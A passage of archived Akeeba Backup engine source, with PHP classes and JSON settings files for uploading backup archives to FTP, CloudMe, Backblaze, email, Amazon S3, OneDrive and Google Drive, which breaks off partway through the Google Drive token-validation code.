		$directory        = $config->get('volatile.postproc.directory', $defaultDirectory);
		$subdir           = trim($config->get($this->engineKey . 'subdirectory', ''), '/');
		$ssl              = $config->get($this->engineKey . 'ftps', 0) == 0 ? false : true;
		$passive          = $config->get($this->engineKey . 'passive_mode', 0) == 0 ? false : true;
		$workaround       = $config->get($this->engineKey . 'passive_mode_workaround', null);

		// Process the initial directory
		$directory = '/' . ltrim(trim($directory), '/');
		$directory = Factory::getFilesystemTools()->replace_archive_name_variables($directory);
		$config->set('volatile.postproc.directory', $directory);

		// Try to automatically fix protocol in the hostname
		if (strtolower(substr($host, 0, 6)) == 'ftp://')
		{
			Factory::getLog()->warning('YOU ARE *** N O T *** SUPPOSED TO ENTER THE ftp:// PROTOCOL PREFIX IN THE FTP HOSTNAME FIELD OF THE Upload to Remote FTP POST-PROCESSING ENGINE.');
			Factory::getLog()->warning('I am trying to fix your bad configuration setting, but the backup might fail anyway. You MUST fix this in your configuration.');
			$host = substr($host, 6);
		}

		return [
			'host'        => $host,
			'port'        => $port,
			'username'    => $username,
			'password'    => $password,
			'directory'   => $directory,
			'ssl'         => $ssl,
			'passive'     => $passive,
			'passive_fix' => $workaround,
			'subdir'      => $subdir,
		];
	}

	protected function makeConnector()
	{
		Factory::getLog()->debug(__CLASS__ . ':: Connecting to remote FTP');

		$config = $this->getConfig();

		return new TransferFtp($config);
	}
}
PK     \    0  vendor/akeeba/engine/engine/Postproc/Cloudme.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

class Cloudme extends Webdav
{
	public function __construct()
	{
		$this->settingsKey = 'cloudme';

		parent::__construct();
	}

	protected function modifySettings(array &$settings)
	{
		$settings['baseUri'] = 'https://webdav.cloudme.com/' . $settings['userName'] . '/CloudDrive/Documents/CloudMe';
	}
}
PK     \YQ~	  	  3  vendor/akeeba/engine/engine/Postproc/backblaze.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_BACKBLAZE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_BACKBLAZE_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.backblaze.accountId": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_BACKBLAZE_ACCOUNTID_TITLE",
        "description": "COM_AKEEBA_CONFIG_BACKBLAZE_ACCOUNTID_DESCRIPTION"
    },
    "engine.postproc.backblaze.applicationKey": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_BACKBLAZE_APPLICATIONKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_BACKBLAZE_APPLICATIONKEY_DESCRIPTION"
    },
    "engine.postproc.backblaze.bucket": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_BACKBLAZE_BUCKET_TITLE",
        "description": "COM_AKEEBA_CONFIG_BACKBLAZE_BUCKET_DESCRIPTION"
    },
    "engine.postproc.backblaze.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG__BACKBLAZE_DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_BACKBLAZE_DIRECTORY_DESCRIPTION"
    },
    "engine.postproc.backblaze.disableMultipart": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_BACKBLAZE_DISABLEMULTIPART_TITLE",
        "description": "COM_AKEEBA_CONFIG_BACKBLAZE_DISABLEMULTIPART_DESCRIPTION"
    },
    "engine.postproc.backblaze.chunk_upload_size": {
        "default": "20",
        "type": "integer",
        "min": "5",
        "max": "100",
        "shortcuts": "5|10|20|40|60|80|100",
        "scale": "1",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_SIZE",
        "shown": "engine.postproc.backblaze.disableMultipart:0"
    }
}PK     \40  0  /  vendor/akeeba/engine/engine/Postproc/email.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_EMAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_EMAIL_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.email.address": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_PROCEMAIL_ADDRESS_TITLE",
        "description": "COM_AKEEBA_CONFIG_PROCEMAIL_ADDRESS_DESCRIPTION"
    },
    "engine.postproc.email.subject": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_PROCEMAIL_SUBJECT_TITLE",
        "description": "COM_AKEEBA_CONFIG_PROCEMAIL_SUBJECT_DESCRIPTION"
    }
}PK     \&%:)u  u  2  vendor/akeeba/engine/engine/Postproc/amazons3.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_S3_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_S3_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.amazons3.accesskey": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_S3ACCESSKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3ACCESSKEY_DESCRIPTION"
    },
    "engine.postproc.amazons3.secretkey": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_S3SECRETKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3SECRETKEY_DESCRIPTION"
    },
    "engine.postproc.amazons3.usessl": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_S3USESSL_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3USESSL_DESCRIPTION"
    },
    "engine.postproc.amazons3.dualstack": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_S3_DUALSTACK_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3_DUALSTACK_DESCRIPTION"
    },
    "engine.postproc.amazons3.bucket": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_S3BUCKET_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3BUCKET_DESCRIPTION"
    },
    "engine.postproc.amazons3.signature": {
        "default": "v4",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_S3_SIGNATURE_V4|COM_AKEEBA_S3_SIGNATURE_V2",
        "enumvalues": "v4|v2",
        "title": "COM_AKEEBA_S3_SIGNATURE_TITLE",
        "description": "COM_AKEEBA_S3_SIGNATURE_DESCRIPTION"
    },
    "engine.postproc.amazons3.region": {
        "default": "us-east-1",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_S3_REGION_CUSTOM_OR_NONE|COM_AKEEBA_S3_REGION_USEAST1|COM_AKEEBA_S3_REGION_USEAST2|COM_AKEEBA_S3_REGION_USWEST1|COM_AKEEBA_S3_REGION_USWEST2|COM_AKEEBA_S3_REGION_CACENTRAL1|COM_AKEEBA_S3_REGION_EUCENTRAL1|COM_AKEEBA_S3_REGION_EUCENTRAL2|COM_AKEEBA_S3_REGION_EUNORTH1|COM_AKEEBA_S3_REGION_EUSOUTH1|COM_AKEEBA_S3_REGION_EUSOUTH2|COM_AKEEBA_S3_REGION_EUWEST1|COM_AKEEBA_S3_REGION_EUWEST2|COM_AKEEBA_S3_REGION_EUWEST3|COM_AKEEBA_S3_REGION_APEAST1|COM_AKEEBA_S3_REGION_APNORTHEAST1|COM_AKEEBA_S3_REGION_APNORTHEAST2|COM_AKEEBA_S3_REGION_APNORTHEAST3|COM_AKEEBA_S3_REGION_APSOUTH1|COM_AKEEBA_S3_REGION_APSOUTH2|COM_AKEEBA_S3_REGION_APSOUTHEAST1|COM_AKEEBA_S3_REGION_APSOUTHEAST2|COM_AKEEBA_S3_REGION_APSOUTHEAST3|COM_AKEEBA_S3_REGION_APSOUTHEAST4|COM_AKEEBA_S3_REGION_SAEAST1|COM_AKEEBA_S3_REGION_MECENTRAL1|COM_AKEEBA_S3_REGION_MESOUTH1|COM_AKEEBA_S3_REGION_AFSOUTH1|COM_AKEEBA_S3_REGION_CNNORTH1|COM_AKEEBA_S3_REGION_CNNORTHWEST1|COM_AKEEBA_S3_REGION_USGOVEAST1|COM_AKEEBA_S3_REGION_USGOVEAST2",
        "enumvalues": "|us-east-1|us-east-2|us-west-1|us-west-2|ca-central-1|eu-central-1|eu-central-2|eu-north-1|eu-south-1|eu-south-2|eu-west-1|eu-west-2|eu-west-3|ap-east-1|ap-northeast-1|ap-northeast-2|ap-northeast-3|ap-south-1|ap-south-2|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|sa-east-1|me-central-1|me-south-1|af-south-1|cn-north-1|cn-northwest-1|us-gov-east-1|us-gov-west-1",
        "title": "COM_AKEEBA_S3_REGION_TITLE",
        "description": "COM_AKEEBA_S3_REGION_DESCRIPTION",
        "showon": "engine.postproc.amazons3.signature:v4"
    },
    "engine.postproc.amazons3.custom_region": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_S3_CUSTOM_REGION_TITLE",
        "description": "COM_AKEEBA_S3_CUSTOM_REGION_DESCRIPTION",
        "showon": "engine.postproc.amazons3.signature:v4[AND]engine.postproc.amazons3.region:"
    },
    "engine.postproc.amazons3.pathaccess": {
        "default": "0",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_S3_ACCESS_VIRTUALHOST|COM_AKEEBA_S3_ACCESS_PATH",
        "enumvalues": "0|1",
        "title": "COM_AKEEBA_S3_ACCESS_TITLE",
        "description": "COM_AKEEBA_S3_ACCESS_DESCRIPTION"
    },
    "engine.postproc.amazons3.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_S3DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3DIRECTORY_DESCRIPTION"
    },
    "engine.postproc.amazons3.acl": {
        "default": "bucket-owner-full-control",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_S3_ACL_PRIVATE|COM_AKEEBA_CONFIG_S3_ACL_PUBLIC_READ|COM_AKEEBA_CONFIG_S3_ACL_PUBLIC_READ_WRITE|COM_AKEEBA_CONFIG_S3_ACL_AUTHENTICATED_READ|COM_AKEEBA_CONFIG_S3_ACL_BUCKET_OWNER_READ|COM_AKEEBA_CONFIG_S3_ACL_BUCKET_OWNER_FULL_CONTROL",
        "enumvalues": "private|public-read|public-read-write|authenticated-read|bucket-owner-read|bucket-owner-full-control",
        "title": "COM_AKEEBA_CONFIG_S3_ACL_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3_ACL_DESCRIPTION"
    },
    "engine.postproc.amazons3.legacy": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_S3LEGACY_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3LEGACY_DESCRIPTION"
    },
    "engine.postproc.amazons3.rrs": {
        "default": "0",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_S3_RRS_STANDARD|COM_AKEEBA_S3_RRS_RRS|COM_AKEEBA_S3_RRS_STANDARD_IA|COM_AKEEBA_S3_RRS_ONEZONE_IA|COM_AKEEBA_S3_RRS_INTELLIGENT_TIERING|COM_AKEEBA_S3_RRS_GLACIER|COM_AKEEBA_S3_RRS_DEEP_ARCHIVE",
        "enumvalues": "0|1|2|3|4|5|6",
        "title": "COM_AKEEBA_CONFIG_S3RRS_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3RRS_DESCRIPTION"
    },
    "engine.postproc.amazons3.customendpoint": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_S3CUSTOMENDPOINT_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3CUSTOMENDPOINT_DESCRIPTION"
    },
    "engine.postproc.amazons3.alternateDateHeaderFormat": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_DESCRIPTION",
        "showon": "engine.postproc.amazons3.customendpoint!:"
    },
    "engine.postproc.amazons3.useHTTPDateHeader": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_S3_USEHTTPDATEHEADER_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3_USEHTTPDATEHEADER_DESCRIPTION"
    },
    "engine.postproc.amazons3.preSignedBucketInURL": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_S3_PRESIGNEDBUCKETINURL_TITLE",
        "description": "COM_AKEEBA_CONFIG_S3_PRESIGNEDBUCKETINURL_DESCRIPTION",
        "showon": "engine.postproc.amazons3.signature:v4"
    }
}PK     \#AQ	  Q	  2  vendor/akeeba/engine/engine/Postproc/onedrive.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_ONEDRIVE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_ONEDRIVE_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.onedrive.chunk_upload": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_ENABLE"
    },
    "engine.postproc.onedrive.chunk_upload_size": {
        "default": "10",
        "type": "integer",
        "min": "4",
        "max": "60",
        "shortcuts": "5|10|20|40|60",
        "scale": "1",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_SIZE",
        "showon": "engine.postproc.onedrive.chunk_upload:1"
    },
    "engine.postproc.onedrive.openoauth": {
        "default": "",
        "type": "button",
        "title": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_TITLE",
        "description": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_DESC",
        "hook": "akconfig_onedrive_openoauth"
    },
    "engine.postproc.onedrive.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ONEDRIVE_DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_ONEDRIVE_DIRECTORY_DESCRIPTION"
    },
    "engine.postproc.onedrive.access_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ONEDRIVE_ACCESSTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_ONEDRIVE_ACCESSTOKEN_DESCRIPTION"
    },
    "engine.postproc.onedrive.refresh_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ONEDRIVE_REFRESHTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_ONEDRIVE_REFRESHTOKEN_DESCRIPTION"
    }
}PK     \@̘V:  :  4  vendor/akeeba/engine/engine/Postproc/Googledrive.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Connector\GoogleDrive as ConnectorGoogleDrive;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Akeeba\Engine\Postproc\Exception\RangeDownloadNotSupported;
use Awf\Text\Text;
use Exception;
use Joomla\CMS\Language\Text as JText;
use RuntimeException;

class Googledrive extends Base
{
	/**
	 * The retry count of this file (allow up to 2 retries after the first upload failure)
	 *
	 * @var int
	 */
	private $tryCount = 0;

	/**
	 * The currently configured directory
	 *
	 * @var string
	 */
	private $directory;

	/**
	 * Chunk size (MB)
	 *
	 * @var int
	 */
	private $chunkSize = 10;

	/**
	 * Overrides of any configuration variables when creating a connector object. Used when trying to get a list of
	 * drives through AJAX.
	 *
	 * @var   array
	 */
	private $configOverrides = [];

	public function __construct()
	{
		$this->supportsDownloadToBrowser     = false;
		$this->supportsDelete                = true;
		$this->supportsDownloadToFile        = true;
		$this->allowedCustomAPICallMethods[] = 'getDrives';
	}

	public function oauthCallback(array $params)
	{
		$input = $params['input'];

		$data = (object) [
			'access_token'  => $input['access_token'],
			'refresh_token' => $input['refresh_token'],
		];

		$serialisedData = json_encode($data);

		return <<< HTML
<script type="application/javascript">
	window.opener.akeeba_googledrive_oauth_callback($serialisedData);
</script>
HTML;
	}

	/**
	 * Used by the interface to display a list of drives to choose from.
	 *
	 * @param   array  $params
	 *
	 * @return  array
	 *
	 * @throws  Exception
	 */
	public function getDrives($params = [])
	{
		// Get the default item (the personal Drive)
		$baseItem = 'Google Drive (personal)';

		if (class_exists('\Joomla\CMS\Language\Text'))
		{
			$baseItem = JText::_('COM_AKEEBA_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL');

			if ($baseItem === 'COM_AKEEBA_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL')
			{
				$baseItem = JText::_('COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL');
			}
		}

		if (class_exists('\Awf\Text\Text'))
		{
			$baseItem = Text::_('COM_AKEEBA_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL');

			if ($baseItem === 'COM_AKEEBA_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL')
			{
				$baseItem = Text::_('COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL');
			}
		}

		$items = [
			'' => $baseItem,
		];

		// Try to get a list of Team Drives
		try
		{
			$this->configOverrides = $params;
			/** @var ConnectorGoogleDrive $connector */
			$connector = $this->getConnector(true);
			$connector->ping();

			$items = array_merge($items, $connector->getTeamDrives());
		}
		catch (Exception $e)
		{
			// No worries, the user hasn't configured Google Drive correctly just yet.
		}

		$ret = [];

		foreach ($items as $k => $v)
		{
			$ret[] = [$k, $v];
		}

		return $ret;
	}

	/**
	 * This function takes care of post-processing a backup archive's part, or the
	 * whole backup archive if it's not a split archive type. If the process fails
	 * it should return false. If it succeeds and the entirety of the file has been
	 * processed, it should return true. If only a part of the file has been uploaded,
	 * it must return 1.
	 *
	 * @param   string  $localFilepath   Absolute path to the part we'll have to process
	 * @param   string  $remoteBaseName  Base name of the uploaded file, skip to use $absolute_filename's
	 *
	 * @return  boolean|integer  False on failure, true on success, 1 if more work is required
	 *
	 * @throws Exception
	 */
	public function processPart($localFilepath, $remoteBaseName = null)
	{
		/** @var ConnectorGoogleDrive $connector */
		$connector = $this->getConnector(true);

		// Get a reference to the engine configuration
		$config = Factory::getConfiguration();

		// Store the absolute remote path in the class property
		$directory        = $this->directory;
		$basename         = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;
		$this->remotePath = trim($directory, '/') . '/' . $basename;

		// Have I already made sure the remote directory exists?
		$folderId    = $config->get('volatile.engine.postproc.googledrive.check_directory', 0);
		$teamDriveID = $config->get('engine.postproc.googledrive.team_drive', '');

		if (!$folderId)
		{
			try
			{
				Factory::getLog()->debug(sprintf(
					"%s - Preparing to upload to Google Drive, file path = %s.",
					__METHOD__, $this->remotePath
				));

				$connector->ping();

				[$fileName, $folderId] = $connector->preprocessUploadPath($this->remotePath, $teamDriveID);

				Factory::getLog()->debug(sprintf(
					"%s - Google Drive folder ID = %s",
					__METHOD__, $folderId
				));
			}
			catch (Exception $e)
			{
				throw new RuntimeException(sprintf(
					"Could not create Google Drive directory %s. ", $directory
				), 500, $e);
			}

			$config->set('volatile.engine.postproc.googledrive.check_directory', $folderId);
		}

		// Get the remote file's pathname
		$remotePath = $this->remotePath;

		// Check if the size of the file is compatible with chunked uploading
		clearstatcache();
		$totalSize = filesize($localFilepath);

		/**
		 * Google Drive is broken.
		 *
		 * When you use Simple Upload it will upload your files in two(!!!) places at the same time: the folder you tell
		 * it and the Drive's root. Why? Nobody knows. It's not what the documentation purports the API should be doing.
		 *
		 * The kinda daft way around this is using chunked upload even for tiny files, less than the part size. Many
		 * more requests to the API server yet it works. That's Google for you, man...
		 */
		Factory::getLog()->debug(sprintf(
			"%s - Using chunked upload, part size %d",
			__METHOD__, $this->chunkSize
		));

		$offset    = $config->get('volatile.engine.postproc.googledrive.offset', 0);
		$upload_id = $config->get('volatile.engine.postproc.googledrive.upload_id', null);

		if (empty($upload_id))
		{
			// Convert path to folder ID and file ID, creating missing folders and deleting existing files in the process
			Factory::getLog()->debug(sprintf(
				"%s - Trying to create possibly missing directories and remove existing file by the same name (%s)",
				__METHOD__, $remotePath
			));

			$connector->ping();

			[$fileName, $folderId] = $connector->preprocessUploadPath($remotePath, $teamDriveID);

			Factory::getLog()->debug(sprintf(
				"%s - Creating new upload session",
				__METHOD__
			));

			try
			{
				$upload_id = $connector->createUploadSession($folderId, $localFilepath, $fileName);
			}
			catch (Exception $e)
			{
				throw new RuntimeException(sprintf(
					"The upload session for remote file %s cannot be created.", $remotePath
				), 500, $e);
			}

			Factory::getLog()->debug(sprintf(
				"%s - New upload session %s",
				__METHOD__, $upload_id
			));
			$config->set('volatile.engine.postproc.googledrive.upload_id', $upload_id);
		}

		$exception = null;

		try
		{
			if (empty($offset))
			{
				$offset = 0;
			}

			Factory::getLog()->debug(sprintf(
				"%s - Uploading chunked part (offset:$offset // chunk size: %d)",
				__METHOD__, $this->chunkSize
			));

			$result = $connector->uploadPart($upload_id, $localFilepath, $offset, $this->chunkSize);

			Factory::getLog()->debug(sprintf(
				"%s - Got uploadPart result %s",
				__METHOD__, print_r($result, true)
			));
		}
		catch (Exception $e)
		{
			Factory::getLog()->debug(sprintf(
				"%s - Got uploadPart Exception %s: %s",
				__METHOD__, $e->getCode(), $e->getMessage()
			));

			$exception = $e;
			$result    = false;
		}

		// Did we fail uploading?
		if ($result === false)
		{
			// Let's retry
			$this->tryCount++;

			// However, if we've already retried twice, we stop retrying and call it a failure
			if ($this->tryCount > 2)
			{
				throw new RuntimeException(sprintf(
					"%s - Maximum number of retries exceeded. The upload has failed.",
					__METHOD__
				), 500, $exception);
			}

			Factory::getLog()->debug(sprintf(
				"%s - Error detected, trying to force-refresh the tokens",
				__METHOD__
			));

			$this->forceRefreshTokens();

			Factory::getLog()->debug(sprintf(
				"%s - Retrying chunk upload",
				__METHOD__
			));

			return false;
		}

		// Are we done uploading?
		$nextOffset = $offset + $this->chunkSize - 1;

		if (isset($result['name']) || ($nextOffset > $totalSize))
		{
			Factory::getLog()->debug(sprintf(
				"%s - Chunked upload is now complete",
				__METHOD__
			));

			$config->set('volatile.engine.postproc.googledrive.offset', null);
			$config->set('volatile.engine.postproc.googledrive.upload_id', null);

			$this->tryCount = 0;

			return true;
		}

		// Otherwise, continue uploading
		$config->set('volatile.engine.postproc.googledrive.offset', $offset + $this->chunkSize);

		return false;
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		if (!is_null($fromOffset))
		{
			throw new RangeDownloadNotSupported();
		}

		/** @var ConnectorGoogleDrive $connector */
		$connector = $this->getConnector(true);
		$connector->ping();

		// Download the file
		$engineConfig = Factory::getConfiguration();
		$teamDriveID  = $engineConfig->get('engine.postproc.googledrive.team_drive', '');
		$fileId       = $connector->getIdForFile($remotePath, false, $teamDriveID);

		$connector->download($fileId, $localFile);
	}

	public function delete($path)
	{
		/** @var ConnectorGoogleDrive $connector */
		$connector = $this->getConnector(true);
		$connector->ping();

		$engineConfig = Factory::getConfiguration();
		$teamDriveID  = $engineConfig->get('engine.postproc.googledrive.team_drive', '');
		$fileId       = $connector->getIdForFile($path, false, $teamDriveID);

		$connector->delete($fileId, true);
	}

	protected function getOAuth2HelperUrl()
	{
		$config           = Factory::getConfiguration();
		$oauth2HelperType = $config->get('engine.postproc.googledrive.oauth2_type', 'akeeba');

		switch ($oauth2HelperType)
		{
			case 'custom':
				return $config->get('engine.postproc.googledrive.oauth2_helper', '');

			default:
				return ConnectorGoogleDrive::helperUrl;
		}
	}

	protected function makeConnector()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		if (!empty($this->configOverrides))
		{
			$config->mergeArray($this->configOverrides);
		}

		$accessToken      = trim($config->get('engine.postproc.googledrive.access_token', ''));
		$refreshToken     = trim($config->get('engine.postproc.googledrive.refresh_token', ''));
		$this->chunkSize  = $config->get('engine.postproc.googledrive.chunk_upload_size', 10) * 1024 * 1024;
		$defaultDirectory = $config->get('engine.postproc.googledrive.directory', '');
		$this->directory  = $config->get('volatile.postproc.directory', $defaultDirectory);

		// Sanity checks
		if (empty($refreshToken))
		{
			throw new BadConfiguration('You have not linked Akeeba Backup with your Google Drive account');
		}

		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		$dlid = Platform::getInstance()->get_platform_configuration_option('update_dlid', '');

		if (empty($dlid))
		{
			throw new BadConfiguration('You must enter your Download ID in the application configuration before using the “Upload to Google Drive” feature.');
		}

		// Fix the directory name, if required
		$this->directory = empty($this->directory) ? '' : $this->directory;
		$this->directory = trim($this->directory);
		$this->directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($this->directory), '/');
		$this->directory = Factory::getFilesystemTools()->replace_archive_name_variables($this->directory);
		$config->set('volatile.postproc.directory', $this->directory);

		$connector = new ConnectorGoogleDrive(
			$accessToken,
			$refreshToken,
			$dlid,
			$config->get('engine.postproc.googledrive.oauth2_refresh')
		);

		// Restore the persisted access-token expiry so the connector can refresh proactively (before the token lapses)
		// across stepped backup runs, instead of only reacting after a request has already failed.
		$connector->setTokenExpiration((int) $config->get('engine.postproc.googledrive.token_expiration', 0));

		// Validate the tokens
		Factory::getLog()->debug(sprintf(
			"%s - Validating the Google Drive tokens",
			__METHOD__
		));

		$pingResult = $connector->ping();

		// Save new configuration if there was a refresh
		if ($pingResult['needs_refresh'])
		{
			Factory::getLog()->debug(sprintf(
